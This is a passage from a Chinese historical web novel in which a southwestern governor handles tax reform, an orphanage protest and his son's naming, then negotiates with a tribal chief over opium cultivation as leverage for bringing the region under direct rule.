段之缙在岺州各地巡查,中间接到圣旨允准了他的请求,十月份各府重新府试,十一月份再进行南诏的乡试,而即将到京城的和微,一纸调令又回了南诏。 但对于用兵一事,皇帝并不许他们轻举妄动,倘若真是要对上水西等部,等到苏奋来南诏再与他商议。 段之缙便接着在岺州督查,秋收之后缴纳田赋,他各地乱窜,将火耗控制在了一个较低的水平,除了要入国库和藩库的税银外,剩余的税银没有一文钱落入私人的口袋,全部算清后按照各地的需求分配,南诏则由沈白蘋主持。 这一年,交给朝廷和藩库的税银不变,可百姓们却觉得松快了许多,那沉甸甸的火耗头一次没将人压得喘不过来气。 地方的官员也有富余,不再穷的穷死,富的富死。 十一月南诏乡试重开,段之缙作为监临官监考,等着持续九日的试期结束,段之缙一出门就有班头陈山在外等候。 “你不是应该在总督衙门吗?上这里来作甚?” 陈山着急道:“出事儿了,裕明府的府衙叫百姓们围起来了!” 事儿都是层出不穷地来的,段之缙问道:“又是怎么了?” “今年各府设了育婴堂,便有父母改溺为弃。有一对儿农户春天里生下来孩子养不得,就送到了育婴堂去,秋收后又来育婴堂求,说是家里有粮食了,想要把孩子接回去,到底是生身父母,知府便许了,谁知他们过了两个月又送回了育婴堂,说是养不起了。” “结果现在又来要孩子,但是知府拒绝了他们,他们便来闹了对吧。” “正如大人所说。他们说官府抢了他们的孩子,育婴堂就是买卖孩子的人牙子。您得知道,督察御史就在裕明府衙门的那条街上,就隔着两步远啊!知府也不敢抓人,生怕让督察御史参了。” “车慧清到了没有?” 陈山道:“车大人是叫王章兄弟请的,巡抚衙门比咱们这里远,小的也不知。” 于是紧靠着年关,段之缙只能往裕明府赶去。【你现在阅读的是 】 100-110 第101章 101锁儿取名 段之缙赶了几天路到裕明府,府衙还被百姓层层包围着,哭天嚎地,他刚要进去,从旁边闪出来一个穿着青色棉衣的中年人,鬼鬼祟祟扯住了他的袖子。 “大人,大人,下官是闹事者所属县的县令。” “你的官服呢?” 县令摸摸鼻子,“现在都不敢穿官服了。您上去也是被围住,还是随下官去旁边的酒楼上吧。” 段之缙便跟着他去了楼上。 “事情我大概都清楚了,只是你们的知府有意思,闹成这样为何不抓起来?光天化日、人来人往,就这么闹笑话?” 县令带着他走向窗边,遥遥指给他看,“制台大人,那个穿靛青色衣服的就是督察御史,已经在这里守了好几天了,现在我们抓人也不是,任他们闹也不是。” “这话怎么说的?” “我们抓人,他要参我们虐民,我们任其哄闹,他要参我们育婴堂是乱政,离人骨肉。” 段之缙腹诽,原来是到这儿冲业绩来了。 县令抱怨起来,“您是不知道,裕明府守着一个督察御史,旁的地方知府都是三年一换,这里的知府一年一换,全都是参走的。我们府台也是害怕了,要不然也就抓了起来。” 怨不得府衙都叫百姓围了仍不敢轻举妄动,这说出去真是叫人笑掉大牙。 “好了,多说无益。他们想要干什么?” 县令回道:“他们就想把孩子要回去。” “那就把孩子给他们。” “大人,孩子还回去容易,可后边的事情却难办了。以后百姓们能养起孩子就养,养不起的时候送到育婴堂,等着日后再接回去,这育婴堂不成了学堂?” 段之缙知道他的意思,育婴堂内会延请夫子教书习字,此例一开,育婴堂和寄宿学校无异。 段之缙问道:“你们现在是会打算了,怎么当时把孩子还了回去?” “育婴堂内无产业,他父母好歹有两分薄田,把孩子送回去,日后能有口饭吃有块儿地种,再者,有父母总比没父母好。” 段之缙哂笑:“打算错了不是?现在把孩子送回去,叫他们散了吧,你胆子壮些,直接跟下边转悠的督察御史说,无论是育婴堂还是归还孩子都是总督的主意,他想参就参,没人拦着他。” 县令惊喜起来,又赶紧压下去脸上的笑,念道:“多谢大人,多谢大人……下官这就去办。” 总算是不用他们担责,这下没什么怕的了。 这时候,车慧清匆匆忙忙跑上楼,气喘吁吁地向段之缙行礼,“大人,下官来晚了。” 段之缙瞧着车慧清一身便服,笑道:“还是你聪明,不过没见着你穿那红色的官服,到底有几分可惜。” 这是车慧清升官以来二人第一次见面,车慧清深施一礼,“还要多谢大人提拔。” “提拔不敢说,现在改土归流是第一要务,就得你这样有经验的和我一块儿。之后总督衙门会发文书,日后育婴堂接受婴儿后,在全省的州府内流转,一府的育婴堂不许养育该府的婴孩。还有今年新设县的两个地方,你要盯好了,下一步要对水西等地改土归流,后方一定不能乱。” “是,大人。” 段之缙在楼上看着渐渐散去的人群,叹一口气。 果然是撑死胆大的,饿死胆小的,竟然把朝廷当做冤大头,这一次放过了他们,可没有下一次了。 裕明府离着总督衙门所在的府县并不很近,段之缙从裕明府回去的当天,已经是除夕夜了。 沈白蘋迎上来问道:“怎么现在才回来?” 段之缙在外边许久不回来是常有的事情,怎么今天突然有这一问?他奇道:“这是怎么了,可是有什么事儿?” 沈白蘋扯着他往后衙去,“你去后衙看看吧,你的好儿子,我实在管不住,过了年赶紧给他取名请老师。” 段之缙走进后院,这里有厨房和仓库,还有晾衣服的地方,段之缙远远地就看着有一串一串的东西在风里晃荡,走近一看,就一串串的死老鼠。 老鼠已经风干了,就剩下外边一层灰扑扑的皮,摇来摆去。 这场景不啻于给熊计舒验刑。 段之缙瞠目结舌,就看着沈白蘋从屋内把锁儿牵了出来,小孩子也许是刚睡着,被娘亲从床上逮起来,刚看见父亲还有些认不出,直愣愣地站着好长时间,才反应过来是谁,颠颠地扑到父亲的腿上。 他叽里咕噜说了些什么,段之缙也没听清,两只眼直勾勾地看着那一串串的老鼠,做好了十分的心理准备才问道:“老鼠是怎么回事?” 沈白蘋道:“问你的好儿子。” 段之缙看一眼锁儿,锁儿叭叭地回:“爹爹,这是段一撮抓的老鼠。我怕你看不到,就央陈叔叔给我挂起来了,段一撮厉害吧?” 陈叔叔就是班头陈山。 锁儿昂着头,一脸得意。 沈白蘋气道:“我不管如何,反正送了年,不要等着出正月,立刻给他请上老师。” 段之缙摸摸儿子的脑袋,这已经不是一般的淘气了,必须要重拳出击。 家里没有强逼着小孩子守夜的需求,等着和儿子玩闹了一会儿,段之缙便将他送回屋子,自己与妻子去前衙和师爷们能用年夜饭。 大家一起在这南诏,可以说是同生死共进退,年底了自然要好生说说话,联络感情。 前衙觥筹交错热闹非凡,一直闹到了后半夜才算完。段之缙和沈白蘋一起回到后院,一时半会儿竟也睡不着,于是从书架上抽出一本本书,开始给儿子取大名。 段家到了这一辈,应该从“言”。 字典和说文解字都摆在地上,两个人在地上看着看着,几乎要把带“言”的字全都抄下来。 沈白蘋瞧了一顿,指着“誉”字沉吟一番,“这个怎么样?咏世德之骏烈,诵先人之清芬。就叫段誉如何?” “啊?”段之缙内心十分拒绝,嗫喏半晌回道:“咱们家这个姓不好,‘段’听起来像是‘折断’。‘段誉’,‘断玉’,就好像是玉断了一样,意头不好。取这个名字会不会冲撞?” “也是也是……”沈白蘋也觉得不好起来,段之缙又看了一会儿,指着“諴”字道:“这个如何?用諴和万民。諴者,和也。” “不行不行。段諴,断弦,更不吉利了。” 两个人又开始翻找,天边上了红光才算敲定了几个字,准备呈给阿娘,叫阿娘选定。 早上去了阿娘的院子,沈白蘋展开纸张一一解释。 “‘诠’,具也,就是详细地解释。也可以说是事物的道理,《淮南子》里说‘发必中诠,言必合数’,就是说行动必定符合规律,言论必定符合道理。‘谨’就是要锁儿谨慎,‘诣’为‘进’,望他日后奋发向上。” 阿娘没有读过书,还是很认真地听着,纠结“诠”、“谨”和“诣”三个字,最后道:“要我说,锁儿就算不那么谨慎,也没那么上进,能成为一个讲道理的孩子也很好,就叫段诠吧。” “那就叫段诠。” 大年初一锁儿有了名字,段之缙就开始给儿子找老师,不说别的,起码叫他有个事情做,别没事儿带着段一撮胡作非为,粮仓的老鼠都没他俩叫人头疼,因而第一个先生也没有很精心,只找了个差不多的给他启蒙,等着满了六岁再请名师正式入学。 谁知连着换了好几个先生都教不住他,每日的功课早早完成了就开始问东问西,都是些“旁门左道”,要不然就带着段一撮抓老鼠抓小鸟,或者抓小虫子送给先生,谁还敢教他?十几天里一连吓跑了三四个先生。 吓跑第一个先生的时候,阿娘还不上心,孩子调皮就调皮些,等着吓跑了附近有名的老秀才之后,阿娘才觉出来不好,戳着段诠的脑门唉声叹气:“你爹二十多岁就中进士了,怎么就生下来你这个调皮捣蛋的?” 沈白蘋把孩子的小身板摆正,把虫子从他手里抠出来,“明天开始就得和哥哥弟弟姐姐妹妹们一块儿读书了,倘若你再调皮捣蛋叫旁人打了娘可不管。” 也是没招了,想着小孩子调皮许是无聊,干脆就把师爷们的孩子弄到一块儿来,叫他们的父亲轮流授书,既能管住了这些猴头,也能叫他们一块儿玩耍,不那么捣蛋。 段之缙摸摸儿子的大耳朵,警告道:“段诠,别人欺负你定然是不行了,但你若是欺负别人叫爹知道了,我就算在西南前线上也跑回来揍你一顿,听见了没有?” 段诠点点小脑袋,“知道了,不会欺负别人的。” 段之缙好歹放下一点心,沈白蘋送他出去。 “这次又要几个月回来?” “这我也难说,倘若能谈说不定很快就回来了,倘若谈不了要开战,我就得在前线督战了。” 如今才出正月,苏奋已经在军营里等候多时了,段之缙也得去南诏军中,这一别却不知何时才能再见。 段之缙被送到了门口,还是舍不得走,和沈白蘋对视起来,又开始没话找话。 “母亲之前还写了信,说四弟的乡试未过。” 沈白蘋失笑:“嗯,这还是我告诉你的。” 段之缙摸摸鼻子,“给母亲回信,就说不要急,咱们家也不靠着他来出人头地了,叫弟弟安心备考,等着下次乡试再试一把。” “知道了,快走吧,苏将军还在等着你。” 段之缙这才恋恋不舍地上了轿子,又往南诏军去。 段之缙在京中时已经和苏奋见过面了,当时他还只是内阁的侍读学士,跟在中堂们身后做些文书的工作,才过去几年便是一方封疆大吏,节制两省。 两个人相互问好,苏奋对他很欣赏,“鸟铳火炮一类,已经很久没有精进过了,你之前呈上的火药改良的配方,连徐国公也啧啧称奇,现在已经用到了西北军事上。” “将军谬赞了,陛下对西南土司一事可有指示?” “陛下同意了你的想法,先拿水西、乌撒和乌蒙三部族动手。你要好好想法子,定然是要先议,议不成再打的,但是能不打就不打。而后你说的用火炮平了那些地方,陛下没有允准。这样也太耗钱粮,银子要省着花,无论是粮还是饷,全都要先供着西北。” 段之缙问道:“朝廷已经用苏赫的名义向阿勒速宣战了吗?” 苏奋道:“快了,苏赫已经用朝廷的人脉联系上了一部分旧部,他忍不了弟弟篡夺了他的汗位,阿勒速也忍不了外边还有一个正统。” 两个人商量着,还是先以朝廷的名义传召土司,但三个部族却以准备春耕的名义拒绝了朝廷的传召,只说愿意叫总督入寨,有事可以去议事厅商量。 怕是宴无好宴,深思熟虑过后,段之缙还是答应了下来。 第102章 102□□ 军营里,段之缙的帐篷还亮着光,因此估不准此次要走多长时间,便把包诸也带到了军营,如今在按照段之缙的吩咐给皇上写折子,连带着苏奋的那一份。 这一次入寨,要穿过乌蒙和乌撒两部,直接去水西,可谓是深入敌营,段之缙已经两三天没有睡好了。 苏奋劝他:“你叫车慧清扮成你去便是,何必非要亲自去?” 段之缙拒绝道:“我去了,有什么要紧的事情当即就能下决断,可是叫车慧清去了,倘若有大事,车慧清敢做决定吗?” 包诸收笔,将折子呈给段之缙看,又给苏奋代笔。 段之缙看完后收好,问道:“苏将军,我记得上次动兵你们打破水西的大寨,将他们撵入了密林才遇到了困难,现在我要进水西可有什么指点?” “倒是没什么指点,只是乌蒙、乌撒两地地势险峻,有些地势车马难过,只能靠两条腿走路,小心脚下就好。至于入寨一事,不必担心。他们既然敢叫你入寨,应当不至于行刺杀一事。再者,我会选足够的鸟铳手和弓箭手为你护卫,又找了一个临近的小土司寨子派人观察,位置就在此处。” 苏奋张开地图给段之缙看 ,指点他倘若出事,应该往哪一条山路跑,又道:“已经为你选好了领路的,只是以防万一,还是得你自己清楚。” 语罢似是怕段之缙忧心,便宽慰道:“水西人好种花,上次去的时候,蓬蓬勃勃一片花海,赤红带粉,不蔓不枝,我想你们文人雅士定然喜爱。” 段之缙道谢:“那我就全倚仗着苏将军,安心在水西寨里赏花了?” “那还不容易?” 事情做了详细的筹谋,该思虑的也都思虑了,再没什么好说的,当天段之缙多睡了会儿。 第二日是本月的第一次大练兵,段之缙醒的时候,外边已经练得如火如荼了,他出了帐子观看。 越看越觉得眼熟,向古指挥着几十个方阵,整齐划一地绕着场地喊着号子跑步,呼声震天。而后又两三人一组过泥潭。身上压着带铁刺的铁丝网,士兵就在泥水里匍匐前进。 训练了一上午,中午吃了顿好的,下午又带着南诏兵去了林子里边训练,在密实的林地里边竞赛,最先到达山顶者有赏银拿。 但叫段之缙惊奇的并不是这些,而是苏奋在教导士兵们们站军姿,迎着二月还有些寒的风,士兵站得整整齐齐,稍微一动就会被提溜出来罚跑。 这并不是古代常有的练兵技法。 段之缙大奇,问苏奋道:“这法子是从哪学来的?以前闻所未闻啊!” 苏奋回道:“长乐王想出来的法子。殿下于用兵一事上颇有见解,亲入步军营中和兵士们同吃同住,总结出来的训兵之法。殿下还很上心西北的事情,日夜在内阁盯着,和阁臣们商议,可以说是废寝忘食。” 说到这里,他又问道:“你知道现在的军队设了新的军籍吗?” 段之缙猛然想起,这似乎是他很久之前提议的,问道:“可是给将军们划了旗籍,叫军官的子嗣直接供陛下差使,又许你们子子孙孙领受钱粮?” “那你的消息倒是挺快的,这事儿也是长乐王办的。谁家没有不成器的子孙?我的小儿子现在入禁宫当了一等的御前侍卫,也算是有个出路。” 段之缙瞧他对长乐王赞不绝口,开始试探立太子一事,苏奋看他一眼回道:“你还没得到消息?陛下已经册封了大皇子为皇太子,冬至日行册封大典,你也好上贺表了。” 这么快? 段之缙看着苏奋的表情,突然意识到,这位苏将军恐怕是不喜欢新任的太子。 事情也的确如此,大皇子现在一边读书一边入朝,可是行为胆怯,对他的两个老师唯命是从,苏奋宁愿服侍一个莽撞但有主意的君主,也不愿意服侍这样的君主。 自古文武之争,从来是没有头的。 倘若皇帝本人有开疆拓土之志,那么武将就能在朝堂上硬起来身板,可一旦碰上了文弱中庸之主,那武将就会被文臣压死在朝廷上,甚至要听命于文臣。 先帝年老之后,对一切的事务心有余而力不足,自己竟然需要去内阁和那些不通兵事的人解释西南军政,直到新皇登基,这才重新入军营。 按照苏奋的想法,他就想皇帝立长乐王为皇太弟,不仅是因为大皇子文弱的缘故,还是因为四方之内尚未平定,国家需要一个能够担起重责君主,起码有自己的决断。目前看来,长乐王就很好,可现在大局已定,再多的不高兴也只能捏着鼻子认了。 苏奋看着段之缙,忽然意识到自己的表情似乎太过明显,漫不经心地找补了两句,“立大皇子为皇太子也挺好,中宫娘娘无嫡子,立长子不仅稳固了大局,朝廷的文臣们也挺高兴。” 段之缙了然,文臣们嘛,总是想要一个腼腆温和的君主,这样大家的日子都好过。最好能够懦弱些,于朝政上不太熟练,这样就能够依赖臣子,臣子们也能够获得权力。 如今上这般事事都要乾纲独断,甚至大幅度削减内阁权力,还无师自通准备设立军机处的君主,怎么能叫文臣们喜欢? 段之缙随口说了一句:“三皇子倒是很聪明,皇帝也很宠爱他同他同母的弟弟。” 苏奋听着却不抱什么期望。 一个奶娃子,最难的就是“平安长大”四个字。 可他嘴上却道:“当今的皇太子就很好,日后登基为主也是我们的福气。” 谁知道眼前这个人会不会跟皇帝告状,苏奋憋住了心里话,又开始指点向古练兵。 …… 临近三月,段之缙出了克西府,经过燧明县往更西南走,顺利走过几个小土司的部族,终于到了乌蒙的地界。 这里和汉地迥然相异,几乎是另一个世界。 乌蒙的土地和乌蒙的草木,一切都带着蓬勃的野性,一切都向着蔚蓝的天空生长,枝叶疯狂地漫出来,争抢着阳光和养分,油光到发亮的地步。 一切都奋力生长着。 只除了这里的人。 乌蒙的贵族和土兵膘肥体壮,普通的民众却是畏畏缩缩,眼睛都不敢与人对视,扛着农具走在田埂上,衣衫褴褛到衣不蔽体。 段之缙从轿帘被风吹开的缝隙里看出去,蹙眉合上眼帘。 这的人有些古怪。 前边是望之不绝的高山,段之缙时而坐轿时而下来爬,在乌蒙人的带领下穿过了乌蒙的地盘,不远处就是水西的地界。 段之缙站在两地的交界处,远远看去,水西人正往此处走来,他和乌蒙的土司沙那道别,沙那叫随从送上了一身绣着重瓣小花的布衣。 “我们这里素来被汉人鄙弃,也一向穷困,并没有什么好东西相送。这是我们的火草布,一个壮年男子翻山越岭八天,也就能采到一斤火草,一个女人纺一天的线,也就能纺一尺五。这一件火草布衣送给大人,也是希望大人怜惜我部,不要轻易挑起来战火。” 段之缙命跟随的王章接过火草衣,郑重地跟沙那说道:“我们汉夷一家,从此再也不兴刀兵,才是真正地怜惜子民,改土归流的事情你要好好想清楚。” 沙那尴尬一笑,段之缙便入了水西的地界。 和水西来迎的人见过面,轿子再一次起行。 这一任土司名为牢洱,他虽是上任没多长时间,在水西内却是威名赫赫。 翻了两座山,段之缙坐在轿子内,只觉豁然开朗,大片油润的土地展现在面前,耕地上不知种了什么作物,绿油油一片甚是喜人。 去了议事厅,段之缙铺垫了两句开始说改土归流的事情,牢洱顾左右而言他,只笑眯眯地岔开话题,可若是说他诚心不想谈判,为何要请段之缙入寨? 段之缙屡屡将话题引回去,牢洱每每转到别的事情上,一直说到了月亮升起,一句有用的话也没说,牢洱看着天色已晚,邀请段之缙赴晚宴,为他接风洗尘。 段之缙也实在疲惫了,推拒两次牢洱也不强逼,只吩咐人把段之缙领到住处。 领路的这个夷人似乎不通汉语,段之缙也没有和他说话,鼻子嗅了嗅,闻到一股火熏火燎的气味,带着淡淡的,有些古怪的臭,说不上是什么味儿。 段之缙问王章:“你闻着没有,有股像是烟叶一样的味儿,但臭烘烘的。” 王章也嗅了嗅,附耳道:“早就闻到了,乌蒙送咱们火草衣的那个仆从,他身上就有这股味儿。是不是这里用水不方便,又喜好抽烟?” 段之缙的直觉告诉他事情没那么简单,这股味道有一点熟悉,只是想来想去,也想不起来是何时闻过的。 “算了,回去睡觉吧。” “敌营”之内,不敢随便睡觉,带来的士兵把整个小楼团团围住,又按照苏奋的吩咐站岗换岗,这才叫段之缙安寝。 一连几天,议事厅内牢洱口中只有似是而非的话语,纯属实在浪费时间。 段之缙头几天还着急,后来完全不管了,牢洱不催,他就在寨子内四处走动,左右跟着他自己的火铳手和水西的土兵。 站在田埂上眺望,有些作物他是认识的,大片的水稻苗,可最肥沃的土地上到底种着什么?问那些劳作的农奴,他们却没有一个通汉语的。 再呆已经无甚益处了, 谈也谈不下去,段之缙正准备辞行,头一天晚上突然有一个女孩儿来送东西,被弓箭手拦在外边。 段之缙下了木楼,看着那女孩儿怀抱一个小罐,正在和士兵叽里呱啦地说话,她的汉话竟然很不错,想来是贵族的女孩儿。 “大人,我爹爹牢洱叫我送给大人一些礼物,还请叫我进去说话。” 段之缙看她一眼,叫了几个士兵一块儿上来,小木楼的屋子里,女孩打开罐子,里边是黑乎乎的一块一块的小球,在油灯下闪着油润的光泽。 “大人,这东西在东南很受欢迎,他们还给这东西起了个雅称,叫什么‘□□’。我们是土地方,只会叫它黑疙瘩。您别看其貌不扬的,真是好东西,抽一口什么烦恼都没有了。” 第103章 103女孩儿笑盈盈的,似乎是真不知…… 女孩儿笑盈盈的,似乎是真不知道这东西的坏处,把烟枪拿出来,夹起一块儿放在灯芯的火苗上烤,被段之缙厉声喝止。 “别动!” 女孩儿不知所以,问道:“怎么了大人?” “你知道这东西是干什么的吗?” 女孩儿答道:“大人是从北边来的,应当没见过。黑疙瘩原本是用来止痛的,后来我们发现这玩意儿不仅能止痛,还能如坠仙境,一小块儿都是按黄金算的。现在阿芙蓉才种下去不久,就出了一点儿苗,今年的□□还没下来,这点儿还是上年存下来的,因为您是贵客,阿爸这才拿出来请大人享用。” 丝丝缕缕的烟,从油灯上升起来,带着一股扑鼻的恶臭,正是那些人身上的臭味。 怪不得这股味道这么熟悉,原来就是阿芙蓉、鸦片烟。 段成平震颤的眸子在他的脑海中闪现,最后化成轻飘飘的棺椁从京城迎着风雪回到淮宁,因为吃了□□,段成平死相十分难看,甚至不敢上报朝廷。 段之缙捂着鼻子剧烈咳嗽起来,“快拿出去!这味儿呛得人想吐!” 女孩儿上来劝:“大人忍一忍,习惯之后您求之不得呢!我给您塞到烟枪里,您尝一口……” “拿出去!” 段之缙一声怒喝,女孩儿这才赶紧熄了火,有些手足无措地站在那里。 王章吩咐人把门窗全都打开,春天的风往小楼里灌,段之缙这才缓过来一口气,平复下心情,换了一副好脸色看向牢洱的女儿,他温和地问道:“你们这地方抽黑疙瘩的人多吗?自己抽不抽?” 女孩儿刚才被吓了一跳,瞧他脸色好了,才答道:“这东西金贵,我们都是卖到外边去,哪里人人都能抽?只有阿爸有富余,能够赏人。今天这些是阿爸省出来的,献给大人。” “那你阿爸阿妈呢?他们自己抽不抽□□?” 女孩儿摇摇头,“这我不知道。” 段之缙没再说什么,叫人送她出去,而后躺在床上,心里只剩下一个问题,牢洱知道不知道□□能够上瘾,还会把人的身子弄垮。 如果牢洱知道这东西会上瘾,那么他邀请自己来水西大寨的居心也就水落石出了。但是最令段之缙担心的不是牢洱的居心,而是他女儿方才说的话。 东南□□已经流行开来了。 这种东西,从深山里出发,千里迢迢地过一道又一道汉人的关卡,还能在岭南畅销,不仅是南诏的官员给他们行了便利,岺州、岭西和岭南的官员都不清白。 如此看来,这一条线上已经是污水一片了。 但段之缙却想到了不动刀兵的法子。 虽不知牢洱是如何跟汉官勾搭上的,但是人为财死,鸟为食亡,倘若以改土归流为条件帮助他们扩大阿芙蓉的种植从而放弃种粮食呢? 长久以来的历史教训,粮食这个东西可不能掐在别人手里,只是不知牢洱会不会上这个当。 段之缙翻一个身,思量着明日最后和牢洱商议一次,倘若不成就立刻启程回去。 翌日,段之缙又到了议事厅找牢洱,他总是神龙见首不见尾,段之缙等了许久牢洱才姗姗来迟。 段之缙不想再和他纠缠,开门见山道:“头人请我来的时候,说是要议改土归流的章程,可来了这么长时间,改土归流的事情说过一句吗?我偌大的两个省份的庶务扔在外边,到底不是个事儿,如果今日再不详谈,那便只能告辞了。” 谁知牢洱轻轻一笑,劝道:“大人何必急着走呢?我们水西虽然不富裕,但这儿的风景您在中原可见不到。多留几日,也叫我们略尽地主之谊。对了,我的女儿容西说,昨日为大人送去的黑疙瘩,大人嫌弃气味难闻没有享用。您不知道,这东西只要尝过了一次,就会想第二次。我们水西的穷人倾家荡产也要抽。至于改土归流一事反而不急,您先去了一路赶来的风尘,这才好做正事儿。” 语罢,牢洱掏出了昨日那个小罐子,双手捧给段之缙,又手点了油灯,再次将一块儿□□取下来烧灼。 段之缙捂着鼻子,忽然道:“我是个笨人,这东西用起来太麻烦了,头人何不为我演示一番如何享用?再者这样的好东西我自己用了也难为情,还是头人先来吧。” 牢洱手上的动作顿住,段之缙便知道他自己是不抽□□的。 他打个哈哈:“说出来怕大人笑话,我是个抠门的,黑疙瘩留着赚钱都不够,怎么舍得自己用?因而不会抽。不过倒是可以找些人来为大人演示,还请稍等……” 这么好的东西,自己不留着抽,全便宜给外人,当真是大方得没边儿。 “不用了。”段之缙打断了他的话,“头人,食君之禄,忠君之事,我来此地也有些时日了,正事却没有做一件,还是先说了改土归流的事情再谈享受吧。我们朝廷的条件不知头人是否清楚,保留你们世袭土司的封号,设县之后令你们担任县令,仍是管辖本地的民众,但朝廷的军队要派驻进来。” 段之缙看着牢洱仍然是顾左右而言他,并非想谈改土归流的样子,直接拽住了牢洱的手硬把朝廷的条件一股脑儿倒了出来。 现在是想听也听了,不想听段之缙也全都说了,无论如何也该表态了。 牢洱道:“我听着山外边的头人说,改土归流之后是要给奴隶分地的。这个条件我接受不了。水西每一寸土地都是祖宗们留下的,都是我们的财产,若是要分给那些贱民,叫我们吃什么喝什么?” 段之缙嗤笑:“据本官所知,上一任水西土司才是世代把守水西的头人,水西这些大大小小的寨子也是他们家族建立起来的,只是他造反被平,家族也被清扫过,这才有了你这位新的头人。如今坐上第一把椅子不过几年,也能说土地都是祖宗们留下来的吗?而且我听苏将军说,上次平叛还多亏了你们家族效力,朝廷的军队才能绝处逢生,一举荡平了叛军。我们几年前合作的就很好,现在改土归流更应该好好合作,说不得你们还能‘更上一层楼’。” 牢洱最怕的就是别人说这个,他们的家族是后来者居上,当时雍朝的军队受困,是他们和外边的土司通风报信,帮着汉人杀灭了自己原来的首领。 这样背信弃义的举动,素来为人所不齿,但是牢洱能这样快地控制住水西,又能接着和乌蒙、乌撒交好,靠的就是□□,这个无意间发现的止痛药的妙用。 牢洱被戳到了痛处,段之缙接着道:“头人,□□是什么东西本官清楚得很。实不相瞒,本官的外祖是淮宁巨贾,什么样的东西没见过?家父当年受蝎子蛰咬之苦,痛不欲生,还是用了□□才平缓下来,它的功效我怕是比你更清楚。” 牢洱见事情败露,杀心顿起,但段之缙的下一句话又叫他犹豫起来。 “朝廷想要的,无非是改土归流,你想要的无非是水西和这些□□带来的金银富贵,我们何不各取所需呢?” 牢洱眼中精光一闪:“大人这是什么意思?” 段之缙微微一笑:“□□,当初本官为家父买的时候,大夫说是叫阿芙蓉。在京城里,一两阿芙蓉就是一两金子,你们在岭南能卖到这个价钱吗?” “再者,从这深山往岭南运,要被南诏和岺州的汉官抽走多少?你们最后能到手多少?” 牢洱思索着不说话,段之缙接着道:“水西一共是多少地?你们又怕缺粮,还要留下足够的土地种植水稻高粱,不仅要供应着自己吃饭糊口,连带着乌蒙和乌撒也要吃你们的粮。他们给了水西什么?两条出山的通道?还有,我的随从闻着乌蒙那里也有人在抽□□,这个是你们孝敬的还是他们买的?” 牢洱沉默不语。 说是乌蒙买的,但是价格很低,和东南的价钱没法比,自己早就不想做这门生意了。 段 之缙拉着他的手可惜道:“你们吃了大亏!改土归流之后,朝廷会为你们调配粮食,水西的土地尽可以种阿芙蓉,那时候商道畅通,大家都是自己人,你们也不用给汉官们交供奉,只需要给朝廷纳赋,这样可比现在划算多了。” 语罢,段之缙自嘲一笑:“当然了,我也不是全然为了你们。我呢,别的不求,就求改土归流早日完成,我捞一个政绩就回京去。我是北人,这儿的虫子比我们那儿的老鼠都大,我也要忍到头了。此外,一整个总督衙门都要靠着本督的银子养着,实在吃力……” 牢洱了然,已经有些心动,但汉人的官员最会骗人,若他是为了离开说了这么一通话,那可不行,于是说道:“总督大人,你就是这么一说,我就是这么一听,到时候您走了再领着兵来,我这漫山遍野的阿芙蓉就全完了。” “倘若你愿意‘资助’总督衙门,我亲自给你写凭证。” 牢洱回道:“若是大人愿意将我们水西的‘资助’也写在纸面上,那我才真的敢信大人说的话。” 这才是真心实意的把柄,牢洱旁的不清楚,但最起码他很明白,没有一个君主能够忍受臣下这样明目张胆地收受贿赂,段之缙瞬间明白了他的打算,但既然要省钱,皇帝也该接受自己用些出奇的法子,倘若这都要恼,那这个差事谁爱干谁来干吧。 段之缙思量好后,叫人拿来纸笔,当场写了凭证,改土归流之后,牢洱愿意每年都资助总督衙门一万两,这个价钱叫段之缙都吃惊了起来。 “你们当真能出这么多钱?” 牢洱自得一笑:“倘若这漫山遍野都是阿芙蓉,一万两就是我们水西供奉总督衙门的,大人您还有另外的孝敬。” 将具体的事情商量一番,段之缙撺掇着他们把今年的稻子和高粱都拔了,抢种上阿芙蓉,牢洱却说可惜了粮食,要等着收成之后再说。 段之缙深知此事不能操之过急,便不再劝说,而是收拾好东西准备出寨,这是件大事,一定要回去给皇上上折子。 第104章 104回去的路上,段之缙并没有从乌…… 回去的路上,段之缙并没有从乌蒙或者乌撒的领域回汉地,而是走苏奋说的那个小土司的领域回克西府。 一路奔波跋涉,比过乌蒙的地界还难,轿子压根不能行,段之缙只能带着人爬山,两条腿走得打颤才回到了平地上,小土司也够可怜的,穿金戴银,一路上赔笑脸。 这些地方崇山峻岭,倘若不修路,平民只会一代更比一代穷困潦倒,而土司却是一代比一代富裕。如果能尽早地改土归流,修路的事情就得提上日程。 先入克西府视察了兆仁改土归流的工作,段之缙才回到了军营中,苏奋问他水西到底是什么情况,段之缙苦笑一声,将牢洱的事情说了。 苏奋气愤异常,“算计到我朝廷的总督身上来了,早晚把他们夷为平地。”又听段之缙说那□□的事情,只觉得骇人听闻,世上竟还有如此的恶物。 段之缙强调道:“这东西不仅会上瘾,而且吸食之后瘦骨嶙峋,变得人不人,鬼不鬼,身子毁了财产耗尽倒还是轻的,家破人亡、妻离子散屡见不鲜。” 苏奋还在思考,向古急急踱了两步,有些愤怒道:“□□流入的越多,东南的百姓受害越重,制台大人如何敢用此来做条件让他们改土归流?一把火烧了才是正道!” 段之缙回道:“我何尝不知?只是不这么说怕是走不了,朝廷又拿钱来压我们,打仗要不费钱……你们二位都是武官,打仗有不费钱的吗?!” 向古气恼地叹了一口气,悻悻闭了嘴。 段之缙又道:“□□并非一点儿用处都没有,它是一个很好的止痛药物,罂粟的种子壳也可以用来入药,止咳阵痛的疗效不错,也就是大夫们常说的御米壳,并非全然有害。” “自古以来,不战而屈人之兵是为上策。现在□□从南诏运往岭南售卖,一定有沿途的官员行方便,用这个方法可以顺便查清收受贿赂的人。此外,粮食才是民之命脉,乌蒙、乌撒等地区不产粮食,地势又十分崎岖,来往进出的通道极少,只需要少数的兵力就可以控制住粮食的进出。虽然水西改土归流之后朝廷的军队很难驻进去太多,但控制住了粮道就压制住了水西。何乐而不为?” 语罢,三个人都寂静下来,段之缙在等他们表态,倘若有人愿意和他一起上折子,这个事儿便有几分把握。 苏奋思量片刻,为难道:“法子倒是好法子,用粮食来牵制他们,只要事情办得妥当,定然能够成事。只是这么多的□□从官道运到岭南,岭南要如何消耗掉?如果此事能够解决,我与你联名上折。” “对,只要此事能够解决,我也与你联名上折!” “我自己的想法,若是有没顾及到的地方二位尽管提。改土归流之后,水西的□□往岭南运输都是光明正大的,岭南可以命人假扮成商人,动用藩库的银两把这些□□买下,集中管理起来。等着第一茬粮食收获之后,我会派人盯着水西,不叫他们种太多的粮食,而后该如何就如何。” “等会儿。”苏奋想了想□□的价格,疑道:“这不对吧,不用国库的银子打仗,去用岭南的藩库买□□?岭南定然是不愿意!再者买□□的银子,说不得都能打一场仗了。” 